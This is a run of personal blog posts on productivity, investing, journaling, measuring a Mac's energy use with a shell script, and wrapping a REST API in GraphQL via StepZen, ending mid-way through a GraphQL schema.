Randall Degges

I'm Writing Again

r@rdegges.com (Randall Degges) — Sat, 03 Aug 2024 00:00:00 -0700

I can’t believe it’s been over two years since I last published an article here! Time really flies.

The crazy part is that over these last two years, I’ve done more writing than ever; it just hasn’t been public.

Several years back, I started a journaling habit, and since then, most of my writing energy has been redirected from my website to my private journal.

While writing in private feels liberating, as I can dump every little thought in my head into an archive, I find myself missing the more structured and thought-out articles I used to push myself to publish.

There’s something magical about writing down your thoughts and sharing them with the world, even if nobody sees them. It forces you to rethink your position, clarify your thoughts, and distill the mess in your head into something direct and actionable.

Over the last couple of years, I have missed that feeling, and the itch to continue writing has returned.

All this is simply to say that I’m writing again. The title of my website has always been “Random Thoughts of a Happy Programmer,” so please stay tuned for more of my innermost thoughts and experiments.

Does Music Help You Focus?

r@rdegges.com (Randall Degges) — Mon, 04 Apr 2022 00:00:00 -0700

I’ve always been the sort of person who works with music in the background. Ever since I was a little kid writing code in my bedroom, I’d routinely listen to my favorite music while programming.

Over the last 12 years, as my responsibilities have shifted from purely writing code to writing articles, recording videos, and participating in meetings, my habits have changed. Out of necessity, I’m unable to work with music most of the time, but when I have an hour or so of uninterrupted time, I still prefer to put music on and use it to help me crank through whatever it is I’m focusing on.

However, I’ve been doing some experimentation over the last few months. My goal was to determine how much music helped me focus. I didn’t have a precise scientific way of measuring this except to track whether or not I felt my Pomodoro sessions were productive.

To keep score, I kept a simple Apple Notes file that contained a running tally of whether or not I felt my recently finished Pomodoro session was productive or not. And while this isn’t the most scientific way to measure, I figured it was good enough for my purposes.

Over the last three months, I logged 120 completed Pomodoro sessions. Of those, roughly 50% (58 sessions) were completed while listening to music, and the other 50% (62 sessions) were completed without music.

To my surprise, when tallying up the results, it appears that listening to music is a distraction for me, causing me to feel like my sessions weren’t very productive. Out of the 58 Pomodoro sessions I completed while listening to music, I noted that ~20% were productive (12 sessions) vs. ~60% (37 sessions) without music.

60% vs. 20% is a significant difference, which is especially surprising since I genuinely enjoy working with music. When I started this experiment, I expected that music would make me more, not less productive.

So what’s the takeaway here? For me, it’s that despite how much I enjoy listening to music while working, it’s distracting.

Am I going to give up listening to music while trying to focus? Not necessarily. As I mentioned previously, I still love working with music. But, I’ll undoubtedly turn the music off if I’m trying to get something important done and need my time to be as productive as possible.

In the future, I’m also planning to run this experiment separately to compare the impact of instrumental vs. non-instrumental music on my productivity. I typically listen to music with lyrics (hip-hop, pop, etc.), which makes me wonder if the lyrics are distracting or just the music itself.

I’m also curious as to whether or not lyrics in a language I don’t understand would cause a similar level of distraction or not (for example, maybe I could listen to Spanish music without impacting my productivity since I don’t understand the language).

Regardless of my results, please experiment for yourself! If you’re trying to maximize productivity, you might be surprised what things are impacting your focus levels.

Real Estate vs Stocks

r@rdegges.com (Randall Degges) — Mon, 04 Apr 2022 00:00:00 -0700

As I’ve mentioned before, I’m a bit of a personal finance nerd. I’ve been carefully tracking my spending and investing for many years now. In particular, I find the investing side of personal finance fascinating.

For the last eight years, my wife and I have split our investments roughly 50/50 between broadly diversified index funds and real estate (rental properties).

Earlier this week, I was discussing real estate investing with some friends, and we had a great conversation about why you might even consider investing in real estate in the first place. As I explained my strategy to them, I thought it might make for an interesting blog post (especially if you’re new to the world of investing).

Please note that I’m not an expert, just an enthusiastic hobbyist. Like all things I work on, I like to do a lot of research, experimentation, etc., but don’t take this as financial advice.

Why Invest in Stocks

Before discussing whether real estate or stocks is the better investment, let’s talk about how stocks work. If you don’t understand how to invest in stocks (and what rewards you can expect from them), the comparison between real estate and stocks will be meaningless.

What is a Stock?

Stocks are the simplest form of investment you can make. If you buy one share of Tesla stock for $100, you’re purchasing one tiny sliver of the entire company and are now a part-owner!

Each stock you hold can either earn or lose money, depending on how the company performs. For example, if Tesla doesn’t sell as many vehicles as the prior year, it’s likely that the company will not make as much money and will therefore be worth less than it was a year ago, so the value of the stock might drop. In this case, the one share of Tesla stock you purchased for $100 might only be worth $90 (a 10% drop in value!).

But, stocks can also make you money. If Tesla sells more vehicles than anyone expected, the company might be worth more, and now your one share of Tesla stock might be worth $110 (a 10% gain!). This gain is referred to as appreciation because the value of your stock has appreciated.

In addition to appreciation, you can also make money through dividends. While some companies choose to take any profits they make and reinvest them into the business to make more products, conduct research, etc., some companies take their profits and split them up amongst their shareholders. We call this distribution a dividend. When a dividend is paid, you’ll receive a set amount of money per share as a shareholder. For example, if Tesla issues a 10 cent dividend per share, you’ll receive $0.10 of spending money as the proud owner of one share of Tesla stock!

But here’s the thing, investing in stocks is RISKY. It’s risky because companies make mistakes, and even the most highly respected and valuable companies today can explode overnight and become worthless (Enron, anyone?). Because of this, generally speaking, it’s not advisable to ever buy individual stocks.

Instead, the best way to invest in stocks is by purchasing index funds.

What is an Index Fund?

Index funds are stocks you buy that are essentially collections of other stocks. If you invest in Vanguard’s popular VTSAX index fund, for example, you’re buying a small amount of all publicly traded companies in the US.

This approach is much less risky than buying individual stocks because VTSAX is well-diversified. If any of the thousands of companies in the US goes out of business, it doesn’t matter to you because you only own a very tiny amount of it.

The way index funds work is simple: if the value of the index as a whole does well (the US economy in our example), the value of your index fund rises. If the value of the index as a whole does poorly, the value of your index fund drops. Simple!

How Well Do Index Funds Perform?

Let’s say you invest your money into VTSAX and now own a small part of all US companies. How much money can you expect to make?

While there’s no way to predict the future, what we can do is look at the past. By looking at the average return of the stock market since 1926 (when the first index was created), you can see that the average return of the largest US companies has been ~10% annually (before inflation).

If you were to invest in VTSAX over a long period of time, it’s historically likely that you’ll earn an average of 10% per year. And understanding that the US market averages 10% per year is exciting because if you invest a little bit of money each month into index funds, you’ll become quite wealthy.

If you plug some numbers into a compound interest calculator, you’ll see what I mean.

For example, if you invest $1,000 per month into index funds for 30 years, you’ll end up with $2,171,321.10. If you start working at 22, then by the time you’re 52, you’ll have over two million dollars: not bad!

How Much Money Do I Need to Retire if I Invest in Index Funds?

Now that you know how index funds work and how much they historically earn, you might be wondering: how much money do I need to invest in index funds before I can retire?

As it turns out, there’s a simple answer to this question, but before I give you the answer, let’s talk about how this works.

Imagine you have one million dollars invested in index funds that earn an average of 10% yearly. You could theoretically sell 10% of your index funds each year and never run out of money in this scenario. Or at least, this makes sense at first glance.

Unfortunately, while it’s true that the market has returned a historical average of 10% yearly, this is an average, and actual yearly returns vary significantly by year. For example, you might be up 30% one year down 40% the next.

This unpredictability year-over-year makes it difficult to safely withdraw money each year without running out of money due to sequence of return risk.

Essentially, while it’s likely that you’ll earn 10% per year on average if you invest in a US index fund, you will likely run out of money if you sell 10% of your portfolio per year due to fluctuating returns each year.

Luckily, a lot of research has been done on this topic, and the general consensus is that if you only withdraw 4% of your investments per year, you’ll have enough money to last you a long time (a 30-year retirement). This is known as the 4% rule and is the gold standard for retirement planning.

Using the 4% rule as a baseline, you can quickly determine how much money you need to invest to retire with your desired spending.

For example, let’s say you want to retire and live off $100k per year. In this case, $100k is 4% of $2.5m, so you’ll need at least $2.5m invested to retire safely.

PRO TIP: You can easily calculate how much you need invested to retire if you simply take your desired yearly spend and multiply it by 25. For example, $40k * 25 = $1m, $100k * 25 = $2.5m, etc.

By only withdrawing 4% of your total portfolio per year, it’s historically likely that you’ll never run out of money over 30 years. Need a longer retirement? You may want to aim for a 3.5% withdrawal rate (or lower).

Should I Invest in Index Funds?

I’m a big fan of index fund investing, which is why my wife and I put 50% of our money into index funds.

Index funds are simple to purchase and sell (you can do it instantly using an investment broker like Vanguard) in seconds
Index funds have an excellent historical track record (10% average yearly returns is fantastic!)
Index funds are often tax-advantaged (they are easy to purchase through a company 401k plan, IRA, or other tax-sheltered accounts)

Why Invest in Real Estate?

Now that we’ve discussed index funds, how they work, what returns you can expect if you invest in index funds, and how much money you need to invest to retire using index funds, we can finally talk about real estate.

What Qualifies as a Real Estate Investment?

Like stocks and other types of securities, there are multiple ways to invest in real estate. I’m going to cover the most basic form of real estate investing here, but know that there are many other ways to invest in real estate that I won’t cover today due to how complex it can become.

At a basic level, investing in real estate means you’re purchasing a property: a house, condo, apartment building, piece of land, commercial building, etc.

How Do Real Estate Investors Make Money?

There are many ways to make money through investing in real estate. Again, I’m only going to cover the most straightforward ways here due to the topic’s complexities.

Let’s say you own an investment property. The typical ways you might make money from this investment are:

Renting the property out for a profit
Owning the property as its value rises over time. For example, if you purchased a house ten years ago for $100k worth $200k today, you’ve essentially “earned” $100k in profit, even if you haven’t yet sold the property. This is called appreciation.

Simple, right?

What’s One Major Difference Between Index Funds and Real Estate?

One of the most significant differences between real estate investing and index fund investing is leverage.

When you invest in an index fund like VTSAX, you’re buying a little bit of the index using your own money directly. This means if you purchase $100k of index funds and earn 10% on your money, you’ll have $110k of investments.

On the other hand, real estate is often purchased using leverage (aka: bank loans). It’s common to buy an investment property and only put 20-25% of your own money into the investment while seeking a mortgage from a bank to cover the remaining 75-80%.

The benefit of using leverage is that you can stretch your money further. For example, let’s say you have $100k to invest. You could put this $100k into VTSAX or purchase one property worth $500k (20% down on a $500k property means you only need $100k as a down payment).

Imagine these two scenarios:

Scenario 1: You invest $100k in VTSAX and earn precisely 10% per year
Scenario 2: You put a $100k down payment on a $500k property that you rent out for a profit of $500 per month after expenses (we call this cash flow), and this property appreciates at a rate of 6% per year. Also, assume that you can secure a 30-year fixed-rate loan for the remaining $400k at a 4.5% interest rate.

After ten years, in Scenario 1, you’ll have $259,374.25. Not bad! That’s a total profit of $159,374.25.

But what will you have after ten years in Scenario 2?

In Scenario 2, you’ll have:

A property whose value has increased from $500k to $895,423.85 (an increase of $395,423.85)
Cash flow of $60k
A total remaining mortgage balance of $320,357.74 (a decrease of $79,642.26)

If you add these benefits up, in Scenario 2, you’ve essentially ballooned your original $100k investment into a total gain of $535,066.11. That’s three times the gain you would have gotten had you simply invested your $100k into VTSAX!

There are a lot of variables at play here, but you get the general idea. While investing in index funds is profitable and straightforward, if you’re willing to learn the business and put in the work, you can often make higher returns through real estate investing over the long haul.

How Difficult is Real Estate Investing?

Real estate investing is complicated. It requires a lot of knowledge, effort, and ongoing work to run a successful real estate investing operation. Among other things, you need to know:

How much a potential investment property will rent for
How much a potential investment property will appreciate
What sort of mortgage rates you can secure
What your expenses will be each month
How much property taxes will cost
How much insurance will cost
Etc.

All of the items above are variables that can dramatically impact whether or not a particular property is a good or bad investment. And this doesn’t even begin to account for the other things you need to do on an ongoing basis: manage the property, manage your accounts/taxes, follow all relevant laws, etc.

In short: investing in real estate is not simple and requires a lot of knowledge to do successfully. But, if you’re interested in running a real estate business, it can be a fun and profitable venture.

How We Invest in Real Estate

As I mentioned earlier, my wife and I split our investable assets 50/50 between index funds and real estate. The reason we do this is twofold:

It’s easy (and safe) for us to invest money in index funds
It’s hard for us to invest in real estate (it took a lot of time and research to get started), but we generally earn greater returns on our real estate investments than we do on our index investments

Our real-estate investing criteria are pretty simple.

We only purchase residential real estate that we rent out to long-term tenants. We do this because it’s relatively low-risk, low-maintenance, and straightforward.
We only purchase rental properties that generate a cash-on-cash return of 8% or greater. For example, if we buy a $200k property with a $40k downpayment, we need to earn $3,200 per year in profit ($3,200 is 8% of $40k) for the deal to make sense.
We don’t factor appreciation into our investment calculations as we plan to hold these rental properties long-term and never sell them. The rising value of the rental properties we acquire isn’t as beneficial to us as is the cash flow.
Over time, the properties pay themselves off, and once they’re free and clear, we’ll have a much larger monthly profit.

Why did we choose an 8% cash-on-cash return as our target metric for rental property purchases? In short, it’s because that 8% is roughly twice the safe withdrawal rate of our index funds.

I figured early on that if I was going to invest a ton of time and energy into learning about real estate investing, hunting down opportunities, etc., I’d have to make it worthwhile by at least doubling the safe withdrawal rate of our index funds. Otherwise, I could simply invest our money into VTSAX and never think about taking on extra work or risk.

Today, my wife and I own a small portfolio of single-family homes that we rent out to long-term tenants, each earning roughly 8% cash-on-cash return yearly.

Should I Invest in Stocks or Real Estate?

As you’ve seen by now, there isn’t a clear answer here. To sum it up:

If you’re looking for the most straightforward path to retirement, invest your money in well-diversified index funds like VTSAX. Index funds will allow you to retire with a 4% safe withdrawal rate and slowly build your wealth over time.
If you’re interested in real estate and are willing to put in the time and effort to learn about it, you can potentially make greater returns, but it’s a lot of work.
Or, if you’re like me, why not both? This way, you get the best of both worlds: a bit of simple, reliable index investments and a bit of riskier, more complex, and more rewarding real estate investments.

Journaling: The Best Habit I Picked Up in 2021

r@rdegges.com (Randall Degges) — Mon, 28 Feb 2022 00:00:00 -0800

2021 was a challenging year in many ways. Other than the global pandemic, many things changed in my life (some good, some bad), and it was a somewhat stressful year.

In March of 2021, I almost died due to a gastrointestinal bleed (a freak accident caused by a routine procedure). Luckily, I survived the incident due to my amazing wife calling 911 at the right time and the fantastic paramedics and doctors at my local hospital, but it was a terrifying ordeal.

While I was in recovery, I spent a lot of time thinking about what I wanted to do when feeling better. How I wanted to spend the limited time I have left. There are lots of things I want to spend my time doing: working on meaningful projects, having fun experiences with family and friends, going on camping and hiking trips, writing, etc.

The process of thinking through everything I wanted to do was, in and of itself, incredibly cathartic. The more time I spent reflecting on my thoughts and life, the better I felt. There’s something magical about taking dedicated time out of your day to write about your thoughts and consider the big questions seriously.

Without thinking much about it, I found myself journaling every day.

It’s been just about a year since I first started journaling, and since then, I’ve written almost every day with few exceptions. In this time, journaling has made a tremendous impact on my life, mood, and relationships. Journaling has quickly become the most impactful of all the habits I’ve developed over the years.

Benefits of Journaling

There are numerous reasons to journal, but these are the primary benefits I’ve personally noticed after a year of journaling.

Journaling helps clear your mind.

I have a noisy inner monologue, and throughout the day, I’m constantly being interrupted by ideas, questions, and concerns. When I take a few minutes each day to write these thoughts down and think through them, it puts my brain at ease and allows me to relax and get them off my mind.

Journaling helps put things in perspective.

I’ve often found myself upset or frustrated about something, only to realize later in the day while writing about how insignificant the problem is. The practice of writing things down brings a certain level of rationality to your thoughts that aren’t always immediately apparent.

I often discover that even the “big” problems in my life have obvious solutions I would never have noticed had I not journaled about them.

Journaling preserves memories.

My memory is terrible. If you asked me what I did last month, I’d have absolutely no idea.

Before starting a journal, the only way I could reflect on memories was to look through photos. The only problem with this is that often, while I can remember bits and pieces of what was going on at the time, I can’t remember everything.

As I’m writing my daily journal entry, I’ll include any relevant photos and jot down some context around them – I’ve found that by looking back through these entries with both pictures and stories, it allows me to recall everything.

And… As vain as it is, I hope that someday I’ll be able to pass these journals along to family members so that, if they’re interested, they can get an idea of what sort of person I was, what I did, and the types of things I thought about.

Journaling helps keep your goals on track.

It’s really easy to set a personal goal and forget about it – I’ve done it hundreds of times. But, by writing every day, I’ve found myself sticking to my goals more than ever.

I think this boils down to focus. It would be hard for me to journal every day without writing about my goals and how I’m doing, and that little bit of extra focus and attention goes a long way towards helping me keep myself honest.

It’s fun!

When I started journaling last year, I didn’t intend to do it every day. It just sort of happened.

Each day I found myself wanting to write down some thought or idea, and the more I did it, the more I enjoyed it. Over time, I noticed that I found myself missing it on the few occasions I didn’t journal.

Now, a year in, I look forward to writing a small journal entry every day. It’s part of my wind-down routine at night, and I love it.

Keeping a Digital and Physical Journal

Initially, when I started keeping a journal, I had a few simple goals:

I wanted to be able to quickly write (and ideally include photos) in my journal
I wanted it to be easy to write on any device (phone, laptop, iPad, etc.)
I wanted some way to physically print my journal each year so that I could have a physical book to look back at any time I want – as well as to preserve the memories as digital stuff tends to disappear eventually

With these requirements in mind, I did a lot of research, looking for a suitable solution. I looked at various journaling services and simple alternatives (physical journals, Google Docs, Apple Notes, etc.).

In the end, I decided to start using the Day One Mac app (works on all Apple devices). I cannot recommend it highly enough if you’re an Apple user.

NOTE: I have no affiliation whatsoever with the Day One app. But it’s incredible.

The Day One app looks beautiful, syncs your journals privately using iCloud, lets you embed photos (and metadata) into entries in a stylish and simple way, makes it incredibly easy to have multiple journals (by topic), track down any entries you’ve previously created, and a whole lot more.

For me, the ultimate feature is the ability to easily create a beautiful looking physical journal whenever I want. Here’s a picture of my journal from 2021.

It’s a bound book with high-quality photos, layouts, etc. It looks astounding. You can customize the book’s cover, include select entries, and make a ton of other customizations I won’t expand on here.

So, my recommendation is that if you’re going to start a journal and want to print it out eventually, use the Day One app – it’s been absolutely 10/10 incredible.

How to Calculate the Energy Consumption of a Mac

r@rdegges.com (Randall Degges) — Sun, 30 Jan 2022 00:00:00 -0800

I’m a bit of a sustainability nerd. I love the idea of living a life where your carbon footprint is neutral (or negative) and you leave the world a better place than it was before you got here.

While it’s clear that there’s only so much impact an individual can have on carbon emissions, I like the idea of working to minimize my personal carbon footprint. This is a big part of the reason why I live in a home with solar power, drive an electric vehicle, and try to avoid single-use plastics as much as possible.

During a recent impact-focused hackathon at work (come work with me!), I found myself working on an interesting sustainability project. Our team’s idea was simple: because almost all Snyk employees work remotely using a Mac laptop, could we measure the energy consumption of every employee’s Mac laptop to better understand how much energy it takes to power employee devices, as well as the amount of carbon work devices produce?

Because we know (on average) how much carbon it takes to produce a single kilowatt-hour (kWh) of electricity in the US (0.85 pounds of CO2 emissions per kWh), if we could figure out how many kWh of electricity were being used by employee devices, we’d be able to do some simple math and figure out two things:

How much energy is required to power employee devices
How much carbon is being put into the atmosphere by employee devices

Using this data, we could then donate money to a carbon offsetting service to “neutralize” the impact of our employee’s work devices.

PROBLEM: Now, would this be a perfectly accurate way of measuring the true carbon impact of employees? Absolutely not – there are obviously many things we cannot easily measure (such as the amount of energy of attached devices, work travel, food consumption, etc.), but the idea of being able to quantify the carbon impact of work laptops was still interesting enough that we decided to pursue it regardless.

Potential Energy Tracking Solutions

The first idea we had was to use smart energy monitoring plugs that employees could plug their work devices into while charging. These plugs could then store a tally of how much energy work devices consume, and we could aggregate that somewhere to get a total amount of energy usage.

I happen to have several of the Eve Energy smart plugs around my house (which I highly recommend if you use Apple’s HomeKit) that I’ve been using to track my personal energy usage for a while now.

While these devices are incredible (they work well, come with a beautiful app, etc.), unfortunately, they don’t have any sort of publicly accessible API you can use to extract energy consumption data.

We also looked into various other types of smart home energy monitoring plugs, including the Kasa Smart Plug Mini, which does happen to have an API.

Unfortunately, however, because Snyk is a global company with employees all over the world, hardware solutions were looking less and less appealing as to do what we wanted, we’d need to:

Ship country-specific devices to each new and existing employee
Include setup instructions for employees (how to configure the plugs, how to hook them up to a home network, etc.)
Instruct employees to always plug their work devices into these smart plugs, which many people may forget to do

Is It Possible to Track Mac Energy Consumption Using Software?

When someone on the team proposed using software to track energy consumption, I thought it’d be a simple task. I assumed there were various existing tools we could easily leverage to grab energy consumption data. But boy, oh boy, I was wrong!

As it turns out, it’s quite complicated to figure out how many watt-hours of electricity your Mac laptop is using. To the best of my knowledge, there are no off-the-shelf applications that do this.

Through my research, however, I stumbled across a couple potential solutions.

Using Battery Metrics to Calculate Energy Consumption

The first idea I had was to figure out the size of the laptop’s battery (in milliamp-hours (mAh)), as well as how many complete discharge cycles the battery has been through (how many times has the battery been fully charged and discharged).

This information would theoretically allow us to determine how much energy a Mac laptop has ever consumed by multiplying the size of the battery in mAh by the number of battery cycles. We could then simply convert the number of mAh -> kWh using a simple formula.

After a lot of Google-fu and command-line scripting, I was able to get this information using the ioreg command-line tool, but in the process, I realized that there was a critical problem with this approach.

The problem is that while the variables I mentioned above will allow you to calculate the energy consumption of your laptop over time, when your laptop is fully charged and plugged into a wall outlet it isn’t drawing down energy from the battery – it’s using the electricity directly from your wall.

This means that the measuring approach above will only work if you never use your laptop while it is plugged into wall chargers – you’d essentially need to keep your laptop shut down while charging and only have it turned on while on battery power. Obviously, this is not very realistic.

Using Wall Adapter Information to Calculate Energy Consumption

After the disappointing battery research, I decided to take a different approach. What if there was a way to extract how much energy your laptop was pulling from a wall adapter?

If we were able to figure out how many watts of electricity, for example, your laptop was currently drawing from a wall adapter, we could track this information over time to determine the amount of watt-hours of electricity being consumed. We could then easily convert this number to kWh or any other desired measure.

And… After a lot of sifting through ioreg output and some help from my little brother (an engineer who helps build smart home electric panels), I was able to successfully extract the amount of watts being pulled from a plugged-in wall adapter! Woo!

The Final Solution: How to Calculate the Energy Consumption of Your Mac Using Software

After many hours of research and playing around, what I ended up building was a small shell script that parses through ioreg command-line output and extracts the amount of watts being pulled from a plugged-in wall adapter.

This shell script runs on a cron job once a minute, logging energy consumption information to a file. This file can then be analyzed to compute the amount of energy consumed by a Mac device over a given time period.

I’ve packaged this solution up into a small GitHub project you can check out here.

The command I’m using to grab the wattage information is the following:

/usr/sbin/ioreg -rw0 -c AppleSmartBattery | grep BatteryData | grep -o '"AdapterPower"=[0-9]*' | cut -c 16- | xargs -I % lldb --batch -o "print/f %" | grep -o '$0 = [0-9.]*' | cut -c 6-

Here it is broken down with a brief description of what these commands are doing:

/usr/sbin/ioreg -rw0 -c AppleSmartBattery | \ # retrieve power data
 grep BatteryData | \ # filter it down to battery stats
 grep -o '"AdapterPower"=[0-9]*' | \ # extract adapter power info
 cut -c 16- | \ # extract power info number
 xargs -I % lldb --batch -o "print/f %" | \ # convert power info into an IEEE 754 float
 grep -o '$0 = [0-9.]*' | \ # extract only the numbers
 cut -c 6- # remove the formatting

The output of this command is a number which is the amount of watts currently being consumed by your laptop (I verified this by confirming it with hardware energy monitors). In order to turn this value into a usable energy consumption metric, you have to sample it over time. After thinking this through, here was the logging format I came up with to make tracking energy consumption simple:

timestamp=YYYY-MM-DDTHH:MM:SSZ wattage=<num> wattHours=<num> uuid=<string>

This format allows you to see:

The timestamp of the log
The amount of watts being drawn from the wall at the time of measurement (wattage)
The number of watt hours consumed at the time of measurement (wattHours), assuming this measurement is taken once a minute, and
The unique Mac UUID for this device. This is logged to help with deduplication and other statistics in my case.

Here’s an example of what some real-world log entries look like:

timestamp=2022-01-30T23:41:00Z wattage=8.37764739 wattHours=.13962745650000000000 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999
timestamp=2022-01-30T23:42:01Z wattage=8.7869072 wattHours=.14644845333333333333 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999
timestamp=2022-01-30T23:43:00Z wattage=9.16559505 wattHours=.15275991750000000000 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999
timestamp=2022-01-30T23:44:00Z wattage=8.49206352 wattHours=.14153439200000000000 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999
timestamp=2022-01-30T23:45:00Z wattage=7.45262718 wattHours=.12421045300000000000 uuid=EDD819A5-1409-5797-9BE4-22EAAC75D999

To sum up the amount of energy consumption over time, you can then parse this log file and sum up the wattHours column over a given time period. Also, please note that the script I wrote will NOT log energy consumption data to the file if there is no energy being consumed (aka, your laptop is not plugged into a wall adapter).

PROBLEMS: While this is the final solution we ended up going with, it still has one fatal flaw: this approach only works if the script is ran once a minute. This means that if your laptop is shut down or sleeping and this code is not running, there will be no way to log energy consumption data.

What I Learned About Tracking Energy Consumption on Macs

While building our short sustainability-focused hackathon project, I learned a lot about tracking energy consumption on Macs.

Your laptop doesn’t always use its battery as a power source, so tracking battery metrics is not an ideal solution
It’s possible to track energy consumption by measuring the draw from wall adapters, although this approach isn’t perfect as it requires your computer to be on and running code on a regular interval
While using hardware energy trackers isn’t convenient in our case, this is certainly the simplest (and probably the best) option for personal energy tracking

If you’d like to see the software-based energy tracking solution I built, please check it out on GitHub.

I’m currently in the process of following up with Snyk’s IT department to see if this is something we could one day roll out automatically to employee devices. I still think it would be incredibly interesting to see a central dashboard of how much energy Snyk employees are using to “power” their work, and what that amount of carbon looks like.

PS: The creation of this blog post took precisely 19.972951810666647 watt-hours of electricity and generated .016977009039067 pounds of CO2.

How I Converted a REST API I Don't Control to GraphQL

r@rdegges.com (Randall Degges) — Sun, 03 Oct 2021 00:00:00 -0700

I’ve been building and working with REST APIs for many years now. Recently, however, I’ve been spending more and more of my time working with (and building) GraphQL-based APIs.

While GraphQL has generally made my life easier, especially as I’ve been building and consuming more data-heavy APIs, there is still one extremely annoying problem I’ve run into over and over again: lack of GraphQL support for third-party APIs I need to consume.

If I’m trying to use a third-party API service that doesn’t have a GraphQL endpoint, I either need to:

Download, install, configure, and learn how to use their custom REST API clients (which takes a lot of time and means my codebase is now a bit cluttered), or
Build my own GraphQL proxy for their service… But this is a big task. I’ve got to read through all their REST API docs and carefully define GraphQL schemas for everything, learning all the ins and outs of their API as I go.

In short: it’s a lot of work either way, but if I really want to use GraphQL everywhere I have to work for it.

In an ideal world, every API service would have a GraphQL endpoint, this way I could just use a single GraphQL library to query all the API services I need to talk to.

Luckily, one of my favorite developer tools, StepZen (disclaimer: I advise them), has made this problem a lot less painful.

What StepZen Does

StepZen is a platform that lets you host a GraphQL endpoint to use in your applications. But, more importantly, they’ve designed a schema system that lets you import (or build your own) GraphQL wrappers for just about anything: REST APIs, databases, etc. It’s really neat!

Using the StepZen CLI, for example, I can create a new GraphQL endpoint that allows me to talk with the Airtable and FedEx APIs, neither of which support GraphQL natively. The beautiful thing is, I don’t even need to write a GraphQL wrapper for this myself since someone else already did!

Here’s what this looks like (assuming you’ve already got the StepZen CLI installed and initialized):

$ stepzen import airtable
$ stepzen import fedex
$ stepzen start

Using the import command, StepZen will download the publicly available GraphQL schemas for these services (Airtable and FedEx) to your local directory. The start command then launches a GraphQL explorer on localhost, port 5000, which you can use to interactively query the Airtable and FexEx APIs using GraphQL! Pretty neat!

How to Access Public GraphQL Schemas

So, let’s say you want to use GraphQL to query an API service that doesn’t support GraphQL. If you’re using StepZen, you can find all the publicly available (official) schemas on the StepZen Schemas repo on GitHub. This repo is namespaced, so if you see a folder in the project, you can use the stepzen import command on it directly. At the time of writing, there are 24 publicly available GraphQL schemas you can instantly use.

StepZen currently has support for lots of popular developer services: Disqus, GitHub, Shopify, etc.

You can, of course, create your own GraphQL schemas as well.

The Problem I Ran Into with GraphQL

Several months ago I was working on a simple user-facing web app. The entire backend of the app was using GraphQL and I was trying to keep the codebase as pure as possible, which meant not using any REST APIs directly.

In all my years of building web apps, I’ve always used a REST API at some point. So this was a bit of an experiment to see whether or not I could build my app without cluttering my codebase with REST API clients or requests.

As I was working on the app, I went to use one of my favorite free API services, Random User. If you haven’t heard of it before, it’s a publicly available REST API you can hit to generate realistic-looking fake users. It’s incredible for building a development environment, using seed data in an app, or creating real-world-looking MVPs. I use it all the time.

I knew going into this process that the Random User API didn’t have a GraphQL endpoint, so I figured I’d spend some time creating one for them.

How to Convert a REST API to GraphQL

My goal, as I mentioned above, was to build a GraphQL endpoint for the Random User REST API.

In order to make this work, what you have to do is translate your REST API so the StepZen service can understand which endpoints you are hitting and what types of inputs and outputs they require.

Once you’ve defined all this, StepZen will be able to create a GraphQL endpoint for your app. When your app queries the StepZen GraphQL endpoint, StepZen will translate your GraphQL request into the proper REST API call, execute the request, then translate the response and send it back to your app in standard GraphQL format.

Here’s how you can convert any REST API to GraphQL using StepZen, step-by-step.

Step 1: Read Through the REST API Docs and Identify Endpoints to Convert

The first part of converting any REST API to GraphQL is to fully understand what endpoints you want to convert from REST to GraphQL.

In my case, the Random User API only has a single endpoint, so this isn’t complicated. But, let’s say you’re converting a large, popular API like Twilio that has many endpoints… This can be much more difficult.

To make things simpler, here’s what I recommend: when converting a REST API to GraphQL, identify the endpoints you actually need and ignore the rest. Trying to build an entire abstraction layer for a massive API like Twilio would be difficult, so instead, focus only on the key endpoints you need to use. In the future, if you need to use additional endpoints, you can always add support for them.

NOTE: This is especially true if you’re using StepZen. It’s incredibly easy to support additional endpoints in StepZen once you have a basic schema going, so don’t feel bad about focusing on the important ones and ignoring the rest.

Following this just-in-time pattern will help save you time and get you back to working on the important stuff.

Step 2: Understand the REST Endpoint’s Schema

Every API endpoint has some sort of schema. For example, the Random User API, when queried, returns a blob of JSON similar to the following:

{
 "results": [
 {
 "gender": "male",
 "name": {
 "title": "mr",
 "first": "brad",
 "last": "gibson"
 },
 "location": {
 "street": "9278 new road",
 "city": "kilcoole",
 "state": "waterford",
 "postcode": "93027",
 "coordinates": {
 "latitude": "20.9267",
 "longitude": "-7.9310"
 },
 "timezone": {
 "offset": "-3:30",
 "description": "Newfoundland"
 }
 },
 "email": "brad.gibson@example.com",
 "login": {
 "uuid": "155e77ee-ba6d-486f-95ce-0e0c0fb4b919",
 "username": "silverswan131",
 "password": "firewall",
 "salt": "TQA1Gz7x",
 "md5": "dc523cb313b63dfe5be2140b0c05b3bc",
 "sha1": "7a4aa07d1bedcc6bcf4b7f8856643492c191540d",
 "sha256": "74364e96174afa7d17ee52dd2c9c7a4651fe1254f471a78bda0190135dcd3480"
 },
 "dob": {
 "date": "1993-07-20T09:44:18.674Z",
 "age": 26
 },
 "registered": {
 "date": "2002-05-21T10:59:49.966Z",
 "age": 17
 },
 "phone": "011-962-7516",
 "cell": "081-454-0666",
 "id": {
 "name": "PPS",
 "value": "0390511T"
 },
 "picture": {
 "large": "https://randomuser.me/api/portraits/men/75.jpg",
 "medium": "https://randomuser.me/api/portraits/med/men/75.jpg",
 "thumbnail": "https://randomuser.me/api/portraits/thumb/men/75.jpg"
 },
 "nat": "IE"
 }
 ],
 "info": {
 "seed": "fea8be3e64777240",
 "results": 1,
 "page": 1,
 "version": "1.3"
 }
}

Since the purpose of the Random User API is to return random user data, I can clearly see in the JSON data many of the fields I might be interested in working with: email, cell, username, etc.

Once you’ve clearly identified the fields you want to make use of, move on to the next step.

Step 3: Create a Corresponding GraphQL Schema

Once you’ve figured out which fields you want to make use of, you need to define a GraphQL schema that will tell the StepZen service how to understand the endpoint’s response.

You don’t need to be a wizard to do this, just pick out the important fields (and their types) from a REST API response, then build a corresponding GraphQL type.

For example, here’s the RandomUser type I defined based on the REST API output above:

type RandomUser {
 gender: String!
 title: String!
 firstName: String!
 lastName: String!
 streetNumber: Int!
 streetName: String!
 city: String!
 state: String!
 country: String!
 postcode: String!
 latitude: String!
 longitude: String!
 timezoneOffset: String!
 timezoneDescription: String!
 email: String!
 uuid: String!
 username: String!
 password: String!
 salt: String!
 md5: String!
 sha1: String!
 sha256: String!
